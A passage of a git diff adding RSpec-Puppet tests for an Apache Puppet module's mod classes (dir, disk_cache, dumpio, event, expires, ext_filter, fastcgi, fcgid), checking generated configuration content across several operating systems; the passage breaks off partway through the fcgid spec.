b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dir_spec.rb @@ -0,0 +1,137 @@ +require 'spec_helper' + +describe 'apache::mod::dir', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :lsbdistcodename => 'squeeze', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dir') } + it { is_expected.to contain_file('dir.conf').with_content(/^DirectoryIndex /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html\.var /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.cgi /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.pl /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.php /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.xhtml$/) } + end + context "passing indexes => ['example.txt','fearsome.aspx']" do + let :params do + {:indexes => ['example.txt','fearsome.aspx']} + end + it { is_expected.to contain_file('dir.conf').with_content(/ example\.txt /) } + it { is_expected.to contain_file('dir.conf').with_content(/ fearsome\.aspx$/) } + end + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Redhat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dir') } + it { is_expected.to contain_file('dir.conf').with_content(/^DirectoryIndex /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html\.var /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.cgi /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.pl /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.php /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.xhtml$/) } + end + context "passing indexes => ['example.txt','fearsome.aspx']" do + let :params do + {:indexes => ['example.txt','fearsome.aspx']} + end + it { is_expected.to contain_file('dir.conf').with_content(/ example\.txt /) } + it { is_expected.to contain_file('dir.conf').with_content(/ fearsome\.aspx$/) } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dir') } + it { is_expected.to contain_file('dir.conf').with_content(/^DirectoryIndex /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html\.var /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.cgi /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.pl /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.php /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.xhtml$/) } + end + context "passing indexes => ['example.txt','fearsome.aspx']" do + let :params do + {:indexes => ['example.txt','fearsome.aspx']} + end + it { is_expected.to contain_file('dir.conf').with_content(/ example\.txt /) } + it { is_expected.to contain_file('dir.conf').with_content(/ fearsome\.aspx$/) } + end + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + context "passing no parameters" do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('dir') } + it { is_expected.to contain_file('dir.conf').with_content(/^DirectoryIndex /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.html\.var /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.cgi /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.pl /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.php /) } + it { is_expected.to contain_file('dir.conf').with_content(/ index\.xhtml$/) } + end + context "passing indexes => ['example.txt','fearsome.aspx']" do + let :params do + {:indexes => ['example.txt','fearsome.aspx']} + end + it { is_expected.to contain_file('dir.conf').with_content(/ example\.txt /) } + it { is_expected.to contain_file('dir.conf').with_content(/ fearsome\.aspx$/) } + end + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/disk_cache.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/disk_cache.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/disk_cache.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/disk_cache_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/disk_cache_spec.rb new file mode 100644 index 000000000..ebb5ef6a9 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/disk_cache_spec.rb @@ -0,0 +1,125 @@ +require 'spec_helper' + +describe 'apache::mod::disk_cache', :type => :class do + context "on a Debian OS" do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + context "with Apache version < 2.4" do + let :pre_condition do + 'class{ "apache": + apache_version => "2.2", + default_mods => ["cache"], + mod_dir => "/tmp/junk", + }' + end + it { should compile } + it { should contain_class('apache::mod::disk_cache') } + it { is_expected.to contain_apache__mod("disk_cache") } + it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk \/\nCacheRoot \"\/var\/cache\/apache2\/mod_disk_cache\"\nCacheDirLevels 2\nCacheDirLength 1/) } + end + context "with Apache version >= 2.4" do + let :pre_condition do + 'class{ "apache": + apache_version => "2.4", + default_mods => ["cache"], + mod_dir => "/tmp/junk", + }' + end + it { should compile } + it { should contain_class('apache::mod::disk_cache') } + it { should contain_class('apache::mod::cache').that_comes_before('Class[Apache::Mod::Disk_cache]') } + it { is_expected.to contain_apache__mod("cache_disk") } + it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk \/\nCacheRoot \"\/var\/cache\/apache2\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) } + end + end + + context "on a RedHat 6-based OS" do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + context "with Apache version < 2.4" do + let :pre_condition do + 'class{ "apache": + apache_version => "2.2", + default_mods => ["cache"], + mod_dir => "/tmp/junk", + }' + end + it { is_expected.to contain_apache__mod("disk_cache") } + it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk \/\nCacheRoot \"\/var\/cache\/mod_proxy\"\nCacheDirLevels 2\nCacheDirLength 1/) } + end + context "with Apache version >= 2.4" do + let :pre_condition do + 'class{ "apache": + apache_version => "2.4", + default_mods => ["cache"], + mod_dir => "/tmp/junk", + }' + end + it { is_expected.to contain_apache__mod("cache_disk") } + it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk \/\nCacheRoot \"\/var\/cache\/httpd\/proxy\"\nCacheDirLevels 2\nCacheDirLength 1/) } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :id => 'root', + :kernel => 'FreeBSD', + :osfamily => 'FreeBSD', + :operatingsystem => 'FreeBSD', + :operatingsystemrelease => '10', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + context "with Apache version < 2.4" do + let :pre_condition do + 'class{ "apache": + apache_version => "2.2", + default_mods => ["cache"], + mod_dir => "/tmp/junk", + }' + end + it { should compile } + it { should contain_class('apache::mod::disk_cache') } + it { should contain_class('apache::mod::cache').that_comes_before('Class[Apache::Mod::Disk_cache]') } + it { is_expected.to contain_apache__mod("disk_cache") } + it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk \/\nCacheRoot \"\/var\/cache\/mod_disk_cache\"\nCacheDirLevels 2\nCacheDirLength 1/) } + end + context "with Apache version >= 2.4" do + let :pre_condition do + 'class{ "apache": + apache_version => "2.4", + default_mods => ["cache"], + mod_dir => "/tmp/junk", + }' + end + it { should compile } + it { should contain_class('apache::mod::disk_cache') } + it { should contain_class('apache::mod::cache').that_comes_before('Class[Apache::Mod::Disk_cache]') } + it { is_expected.to contain_apache__mod("cache_disk") } + it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk \/\nCacheRoot \"\/var\/cache\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dumpio_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dumpio_spec.rb new file mode 100644 index 000000000..106b23af0 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/dumpio_spec.rb @@ -0,0 +1,51 @@ +require 'spec_helper' + +describe 'apache::mod::dumpio', :type => :class do + context "on a Debian OS" do + let :pre_condition do + 'class{"apache": + default_mods => false, + mod_dir => "/tmp/junk", + }' + end + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context "default configuration fore parameters" do + it { should compile } + it { should contain_class('apache::mod::dumpio') } + it { should contain_file("dumpio.conf").with_path("/tmp/junk/dumpio.conf") } + it { should contain_file("dumpio.conf").with_content(/^\s*DumpIOInput\s+"Off"$/)} + it { should contain_file("dumpio.conf").with_content(/^\s*DumpIOOutput\s+"Off"$/)} + end + context "with dumpio_input set to On" do + let :params do + { + :dump_io_input => 'On', + } + end + it { should contain_file("dumpio.conf").with_content(/^\s*DumpIOInput\s+"On"$/)} + it { should contain_file("dumpio.conf").with_content(/^\s*DumpIOOutput\s+"Off"$/)} + end + context "with dumpio_ouput set to On" do + let :params do + { + :dump_io_output => 'On', + } + end + it { should contain_file("dumpio.conf").with_content(/^\s*DumpIOInput\s+"Off"$/)} + it { should contain_file("dumpio.conf").with_content(/^\s*DumpIOOutput\s+"On"$/)} + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/event_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/event_spec.rb new file mode 100644 index 000000000..b010d4c02 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/event_spec.rb @@ -0,0 +1,214 @@ +require 'spec_helper' + +describe 'apache::mod::event', :type => :class do + let :pre_condition do + 'class { "apache": mpm_module => false, }' + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('event') } + it { is_expected.to contain_file("/usr/local/etc/apache24/Modules/event.conf").with_ensure('file') } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('event') } + it { is_expected.to contain_file("/etc/apache2/modules.d/event.conf").with_ensure('file') } + end + context "on a Debian OS" do + let :facts do + { + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('event') } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file') } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/event.conf").with_ensure('link') } + + context "Test mpm_event new params" do + let :params do + { + :serverlimit => '0', + :startservers => '1', + :maxclients => '2', + :minsparethreads => '3', + :maxsparethreads => '4', + :threadsperchild => '5', + :maxrequestsperchild => '6', + :threadlimit => '7', + :listenbacklog => '8', + :maxrequestworkers => '9', + :maxconnectionsperchild => '10', + } + end + + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ServerLimit\s*0/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*StartServers\s*1/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxClients/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MinSpareThreads\s*3/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MaxSpareThreads\s*4/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ThreadsPerChild\s*5/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxRequestsPerChild/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ThreadLimit\s*7/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ListenBacklog\s*8/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MaxRequestWorkers\s*9/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MaxConnectionsPerChild\s*10/) } + end + + context "Test mpm_event old style params" do + let :params do + { + :serverlimit => '0', + :startservers => '1', + :maxclients => '2', + :minsparethreads => '3', + :maxsparethreads => '4', + :threadsperchild => '5', + :maxrequestsperchild => '6', + :threadlimit => '7', + :listenbacklog => '8', + :maxrequestworkers => :undef, + :maxconnectionsperchild => :undef, + } + end + + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ServerLimit\s*0/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*StartServers\s*1/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MaxClients\s*2/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MinSpareThreads\s*3/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MaxSpareThreads\s*4/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ThreadsPerChild\s*5/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*MaxRequestsPerChild\s*6/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ThreadLimit\s*7/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').with_content(/^\s*ListenBacklog\s*8/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxRequestWorkers/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxConnectionsPerChild/) } + end + + context "Test mpm_event false params" do + let :params do + { + :serverlimit => false, + :startservers => false, + :maxclients => false, + :minsparethreads => false, + :maxsparethreads => false, + :threadsperchild => false, + :maxrequestsperchild => false, + :threadlimit => false, + :listenbacklog => false, + :maxrequestworkers => false, + :maxconnectionsperchild => false, + } + end + + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*ServerLimit/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*StartServers/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxClients/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MinSpareThreads/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxSpareThreads/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*ThreadsPerChild/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxRequestsPerChild/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*ThreadLimit/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*ListenBacklog/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxRequestWorkers/) } + it { is_expected.to contain_file("/etc/apache2/mods-available/event.conf").with_ensure('file').without_content(/^\s*MaxConnectionsPerChild/) } + end + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + it { is_expected.not_to contain_file("/etc/apache2/mods-available/event.load") } + it { is_expected.not_to contain_file("/etc/apache2/mods-enabled/event.load") } + + it { is_expected.to contain_package("apache2-mpm-event") } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.to contain_file("/etc/apache2/mods-available/event.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so\n" + }) + } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/event.load").with_ensure('link') } + end + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('worker') } + it { is_expected.not_to contain_apache__mod('prefork') } + + it { is_expected.to contain_file("/etc/httpd/conf.d/event.conf").with_ensure('file') } + + it { is_expected.to contain_file("/etc/httpd/conf.d/event.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_event_module modules/mod_mpm_event.so\n", + }) + } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/expires_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/expires_spec.rb new file mode 100644 index 000000000..397fee024 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/expires_spec.rb @@ -0,0 +1,83 @@ +require 'spec_helper' + +describe 'apache::mod::expires', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "with expires active", :compile do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :lsbdistcodename => 'squeeze', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + it { is_expected.to contain_apache__mod("expires") } + it { is_expected.to contain_file("expires.conf").with(:content => /ExpiresActive On\n/) } + end + context "with expires default", :compile do + let :pre_condition do + 'class { apache: default_mods => false }' + end + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '7', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + let :params do + { + 'expires_default' => 'access plus 1 month' + } + end + it { is_expected.to contain_apache__mod("expires") } + it { is_expected.to contain_file("expires.conf").with_content( + "ExpiresActive On\n" \ + "ExpiresDefault \"access plus 1 month\"\n" + ) + } + end + context "with expires by type", :compile do + let :pre_condition do + 'class { apache: default_mods => false }' + end + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '7', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + } + end + let :params do + { + 'expires_by_type' => [ + { 'text/json' => 'mod plus 1 day' }, + { 'text/html' => 'access plus 1 year' }, + ] + } + end + it { is_expected.to contain_apache__mod("expires") } + it { is_expected.to contain_file("expires.conf").with_content( + "ExpiresActive On\n" \ + "ExpiresByType text/json \"mod plus 1 day\"\n" \ + "ExpiresByType text/html \"access plus 1 year\"\n" + ) + } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ext_filter_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ext_filter_spec.rb new file mode 100644 index 000000000..a0cf37cec --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ext_filter_spec.rb @@ -0,0 +1,64 @@ +require 'spec_helper' + +describe 'apache::mod::ext_filter', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :fqdn => 'test.example.com', + :is_pe => false, + } + end + describe 'with no parameters' do + it { is_expected.to contain_apache__mod('ext_filter') } + it { is_expected.not_to contain_file('ext_filter.conf') } + end + describe 'with parameters' do + let :params do + { :ext_filter_define => {'filtA' => 'input=A output=B', + 'filtB' => 'input=C cmd="C"' }, + } + end + it { is_expected.to contain_file('ext_filter.conf').with_content(/^ExtFilterDefine\s+filtA\s+input=A output=B$/) } + it { is_expected.to contain_file('ext_filter.conf').with_content(/^ExtFilterDefine\s+filtB\s+input=C cmd="C"$/) } + end + + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :fqdn => 'test.example.com', + :is_pe => false, + } + end + describe 'with no parameters' do + it { is_expected.to contain_apache__mod('ext_filter') } + it { is_expected.not_to contain_file('ext_filter.conf') } + end + describe 'with parameters' do + let :params do + { :ext_filter_define => {'filtA' => 'input=A output=B', + 'filtB' => 'input=C cmd="C"' }, + } + end + it { is_expected.to contain_file('ext_filter.conf').with_path('/etc/httpd/conf.d/ext_filter.conf') } + it { is_expected.to contain_file('ext_filter.conf').with_content(/^ExtFilterDefine\s+filtA\s+input=A output=B$/) } + it { is_expected.to contain_file('ext_filter.conf').with_content(/^ExtFilterDefine\s+filtB\s+input=C cmd="C"$/) } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/fastcgi_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/fastcgi_spec.rb new file mode 100644 index 000000000..778d27cff --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/fastcgi_spec.rb @@ -0,0 +1,43 @@ +require 'spec_helper' + +describe 'apache::mod::fastcgi', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('fastcgi') } + it { is_expected.to contain_package("libapache2-mod-fastcgi") } + it { is_expected.to contain_file('fastcgi.conf') } + end + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('fastcgi') } + it { is_expected.to contain_package("mod_fastcgi") } + it { is_expected.not_to contain_file('fastcgi.conf') } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/fcgid_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/fcgid_spec.rb new file mode 100644 index 000000000..f08596be6 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/fcgid_spec.rb @@ -0,0 +1,141 @@ +require 'spec_helper' + +describe 'apache::mod::fcgid', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('fcgid').with({ + 'loadfile_name' => nil + }) } + it { is_expected.to contain_package("libapache2-mod-fcgid") } + end + + context "on a RHEL6" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + describe 'without parameters' do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('fcgid').with({ + 'loadfile_name' => nil + }) } + it { is_expected.to contain_package("mod_fcgid") } + end + + describe 'with parameters' do + let :params do { + :options => { + 'FcgidIPCDir' => '/var/run/fcgidsock', + 'SharememPath' => '/var/run/fcgid_shm', + 'FcgidMinProcessesPerClass' => '0', + 'AddHandler' => 'fcgid-script .fcgi', + } + } end + + it 'should contain the correct config' do + content = catalogue.resource('file', 'fcgid.conf').send(:parameters)[:content] + expect(content.split("\n").reject { |c| c =~ /(^#|^$)/ }).to eq([ + '', + ' AddHandler fcgid-script .fcgi', + ' FcgidIPCDir /var/run/fcgidsock', + ' FcgidMinProcessesPerClass 0', + ' SharememPath /var/run/fcgid_shm', + '', + ]) + end + end + end + + context "on RHEL7" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :operatingsystemmajrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + describe 'without parameters' do + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('fcgid').with({ + 'loadfile_name' => 'unixd_fcgid.load' + }) } + it { is_expected.to contain_package("mod_fcgid") } + end + end + + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '10', + :operatingsystemmajrelease => '10', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_apache__mod('fcgid').with({ + 'loadfile_name' => 'unixd_fcgid.load' + }) } + it { is_expected.to contain_package("www/mod_fcgid") } + end + + context "on a Gentoo OS" do + let :facts do + { + :osfamily 